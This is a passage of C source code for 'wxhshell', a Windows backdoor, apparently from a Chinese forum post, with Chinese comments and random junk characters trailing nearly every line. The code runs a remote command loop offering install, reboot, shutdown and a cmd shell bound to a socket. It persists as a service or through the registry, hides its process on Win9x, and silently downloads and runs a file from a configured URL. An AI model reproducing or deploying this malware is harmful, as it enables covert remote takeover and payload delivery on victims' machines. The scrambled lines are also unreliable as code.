  else { >PalH24]  
JMyTwj[7  
    switch(cmd[0]) { f3PMVf:<  
  z&+ zl6  
  // 帮助 d;G~hVu  
  case '?': { m( 47s  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =Hu0v}i/  
    break; TI9X.E?  
  } z,Lzgh  
  // 安装 WeT* C  
  case 'i': { M}F~_S0h  
    if(Install()) }ot"Sx\.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d@kc[WLD^  
    else FJS'G^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pP/@  
    break; ')#,X^   
    } TZB+lj1  
  // 卸载 x8[MP?Wz  
  case 'r': { =dH$2W)G  
    if(Uninstall()) HFtf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UTk r.T+2X  
    else :jem~6i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4A.Q21s  
    break; VcgBLkIF  
    } &a)vdlZSE=  
  // 显示 wxhshell 所在路径 kU*{4G|6  
  case 'p': { >SI<rR[~%  
    char svExeFile[MAX_PATH]; e>H:/24  
    strcpy(svExeFile,"\n\r"); Q GPw2Q  
      strcat(svExeFile,ExeFile); ;4~U,+Av  
        send(wsh,svExeFile,strlen(svExeFile),0); |:q/Dt@  
    break; q&si%  
    } _PXdzeI.  
  // 重启 3C^1f rF  
  case 'b': { FLr ;`3  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _N#&psQzw  
    if(Boot(REBOOT)) vK$^y^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2V gP  
    else { 8 %Sb+w07  
    closesocket(wsh); Y& {|Sw7?  
    ExitThread(0); ,E*R,'w   
    } T{Zwm!s  
    break; v%91k  
    } B@K[3  
  // 关机 {=JF=8@A  
  case 'd': { -G`.y?  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Dz&+PES_k  
    if(Boot(SHUTDOWN)) jPJAWXB4a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fwfo2   
    else { k*$3i  
    closesocket(wsh); Z[L5 ;  
    ExitThread(0); H5xzD9K;/C  
    } i@$*Csj\9*  
    break; _" N\b%CkO  
    } !`wW_W  
  // 获取shell Faac]5u:*  
  case 's': { r/r:oXK  
    CmdShell(wsh); S%6U~@hig  
    closesocket(wsh); [_!O<z_sB  
    ExitThread(0); _%pAlo_6  
    break; 4<v;1   
  } u<Xog$esu  
  // 退出 H~fdbR  
  case 'x': { 1:NS}r+>3.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); - r#K#v3  
    CloseIt(wsh); :L$4*8@`+  
    break; ujzW|HW^v  
    }  Y7Gs7  
  // 离开 NGTe4Crx  
  case 'q': { ')TPF{\#  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); GESXc $E8  
    closesocket(wsh); T@ 48qg  
    WSACleanup(); q)I|2~Q c^  
    exit(1); hnxc`VX>g  
    break; AR B7>"  
        } v 81rfB5  
  } 'gTmH[be  
  } NPJ.+ph  
(6qsKX  
  // 提示信息 f&I7,"v  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @.$MzPQQI  
} );JJ2Jlkd  
  } - q@69q  
8;zDg$ (  
  return; SG'JE}jzO  
} aG27%(@  
ImkrV{,e  
// shell模块句柄 bBE+jqi 2  
int CmdShell(SOCKET sock) R@`rT*lJ  
{ =_-C%<4  
STARTUPINFO si; :pZ}*?\  
ZeroMemory(&si,sizeof(si)); `gguip-C  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Spj9H?m  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; kQIw/@WC  
PROCESS_INFORMATION ProcessInfo; IN!02`H  
char cmdline[]="cmd"; OyVm(%Z   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); b X,Siz:F  
  return 0; 2*OxA%QELM  
} 8z T0_vw  
&3DK^|Lq  
// 自身启动模式 ]Yz'8uts  
int StartFromService(void) I:;+n^N?  
{ ]b1Li}  
typedef struct .Q\\dESn"  
{ F)ci9-b@  
  DWORD ExitStatus; q627<  
  DWORD PebBaseAddress; e}"wL g]  
  DWORD AffinityMask; tOg=zXm   
  DWORD BasePriority; v\0^mp  
  ULONG UniqueProcessId; gGfq6{9g  
  ULONG InheritedFromUniqueProcessId; =/Juh7[C  
}   PROCESS_BASIC_INFORMATION; J$[Q?8 ka  
BKb<2  
PROCNTQSIP NtQueryInformationProcess; eyB_l.U7  
F(4yS2h(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; rsxRk7s@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; z7=fDe -  
>t #\&|9I  
  HANDLE             hProcess; p;->hn~D'5  
  PROCESS_BASIC_INFORMATION pbi; F`& >NQb  
Eo=HNe  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); o# {#r@,i  
  if(NULL == hInst ) return 0; kL;t8{n  
{ymb\$f  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); r{ @ `o@q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (%DRt4u <H  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =K'L|QKF  
!0jq6[&  
  if (!NtQueryInformationProcess) return 0; <\D Uo0]J  
GOr}/y;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); VGJDqm!  
  if(!hProcess) return 0; $u5.!{Wq?  
,nYZxYLf+  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; cU | _  
!5.v'K'  
  CloseHandle(hProcess); ;=p;v .l  
g :i*O^c @  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); t)(v4^T  
if(hProcess==NULL) return 0; JQT4N[rEE  
1t2cY;vJ  
HMODULE hMod; :,YLx9i>  
char procName[255]; RV92qn B  
unsigned long cbNeeded; wE2x:Ge:  
78w4IICk  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -\,VGudM}  
gKQ@!U U8  
  CloseHandle(hProcess); +]L)>$6  
(Y;'[.  
if(strstr(procName,"services")) return 1; // 以服务启动 P>W8V+l![  
i'HST|!j  
  return 0; // 注册表启动 uI9lK  
} X[{\ 3Av  
h/=-tr  
// 主模块 Xz* tbW#  
int StartWxhshell(LPSTR lpCmdLine) 5KaSWw/  
{ =,E'~P  
  SOCKET wsl; a71}y;W  
BOOL val=TRUE; me$$he  
  int port=0; 8Mb$+^zU  
  struct sockaddr_in door; OR~GOv|  
(WMLNv  
  if(wscfg.ws_autoins) Install(); g& >m P?  
Eq7gcDQ  
port=atoi(lpCmdLine); in?T]}  
y`+<X{V5L  
if(port<=0) port=wscfg.ws_port; n|Ma&qs  
g TD%4V  
  WSADATA data; STRyW Ml  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >I:9'"`  
Esa6hU#  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   [Ekgft&  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5j1 IH,yW  
  door.sin_family = AF_INET; d!!3"{'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); + 1f{_v  
  door.sin_port = htons(port); f>4+,@G   
ds')PIj  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { b)y<.pS\  
closesocket(wsl); {4)5]62>u  
return 1; :z124Zf  
} WiwwCKjSa  
vT}pbOTh  
  if(listen(wsl,2) == INVALID_SOCKET) { NIL^UN}  
closesocket(wsl); 10TSc j  
return 1; 6(sfpK'  
} bZnDd  
  Wxhshell(wsl); $"(3MnR  
  WSACleanup(); EKJH_!%  
IjgBa-o/V  
return 0; MIJ%_=sm4:  
8ZzU^x  
} >:fJhF@  
]q37Hj  
// 以NT服务方式启动 *<;&>w8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =mAGD*NKu  
{ ]X4RnV55Q  
DWORD   status = 0; ":z@c,  
  DWORD   specificError = 0xfffffff; Xe> ~H4I9  
a1 _o.A  
  serviceStatus.dwServiceType     = SERVICE_WIN32; tUn&z?7bF  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 5 u"nxT   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; v.]'%+::#  
  serviceStatus.dwWin32ExitCode     = 0; H|x k${R`  
  serviceStatus.dwServiceSpecificExitCode = 0; wfWS-pQ  
  serviceStatus.dwCheckPoint       = 0; s}<)B RZi  
  serviceStatus.dwWaitHint       = 0; B##C{^5A`  
P'gT6*an,"  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <"{+  
  if (hServiceStatusHandle==0) return; 5auL<Pq   
}]Qmt5'NI  
status = GetLastError(); >DkN+S  
  if (status!=NO_ERROR) ~c9vdK  
{ <w%Yq?^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; sCL/pb]  
    serviceStatus.dwCheckPoint       = 0; Yoj~|qL  
    serviceStatus.dwWaitHint       = 0; >^sz5d+X  
    serviceStatus.dwWin32ExitCode     = status; aB7d(  
    serviceStatus.dwServiceSpecificExitCode = specificError; XC 57];-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); U8Cw7u2  
    return; pC55Ec<  
  } lxr@[VQ  
rZb_1E<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; l6yB_ M  
  serviceStatus.dwCheckPoint       = 0; `W D*Q-&n  
  serviceStatus.dwWaitHint       = 0; @m }rQT  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5I wX\  
} `*|LI  
$Cut  
// 处理NT服务事件,比如:启动、停止 ]5aux >.n  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Z&BM%.NZJ  
{ }u38:(^`ai  
switch(fdwControl) alWx=+d  
{ !Q<8c =f  
case SERVICE_CONTROL_STOP: !tm|A`<g#<  
  serviceStatus.dwWin32ExitCode = 0; ^p'D<!6sK  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; qT&S  
  serviceStatus.dwCheckPoint   = 0; _ +0uju?o}  
  serviceStatus.dwWaitHint     = 0; eimA *0Cq  
  { pqRO[XEp2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); v GulM<YY  
  } N8u_=b{X  
  return; hXj* {vT  
case SERVICE_CONTROL_PAUSE: ,S7~=S  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :qt82tbn  
  break; 6:8EZ' y  
case SERVICE_CONTROL_CONTINUE: ?tW%"S^D  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 6kgCS{MZ  
  break; mkKRC;  
case SERVICE_CONTROL_INTERROGATE: weTK#O0@v  
  break; )< X=z  
}; #S/pYP`7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); p P_wBX  
} >' BU*  
sPZV>Q:zY  
// 标准应用程序主函数 \" 5F;J  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) x`/m>~_  
{ z|oA{VxW>  
GN}9$:  
// 获取操作系统版本 6x`\ J2x  
OsIsNt=GetOsVer(); od|N-R  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Y2ah zB  
Q&:92f\y  
  // 从命令行安装 =rs=8Ty?S  
  if(strpbrk(lpCmdLine,"iI")) Install(); @k#z &@b  
m bB\~n  
  // 下载执行文件 l7=$4As/hI  
if(wscfg.ws_downexe) { :7 s#5b  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) * wQZ '  
  WinExec(wscfg.ws_filenam,SW_HIDE); q/aL8V<"z  
} {HE.mHy  
KU 8Cl>5  
if(!OsIsNt) { ; HR\R  
// 如果时win9x,隐藏进程并且设置为注册表启动  A[wxa  
HideProc(); noB}p4  
StartWxhshell(lpCmdLine); _s*uF_: 3  
} ;dpS@;v  
else PHE;  
  if(StartFromService()) +9=p*3cnp  
  // 以服务方式启动 3XYIbXnk  
  StartServiceCtrlDispatcher(DispatchTable); PLY-,Q&'  
else 10QNV=yK7s  
  // 普通方式启动 q]wn:%rX  
  StartWxhshell(lpCmdLine); D7n&9Z  
QWIOim-  
return 0; 7Vof7Y <  
}
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只看该作者 1 发表于: 2006-10-10
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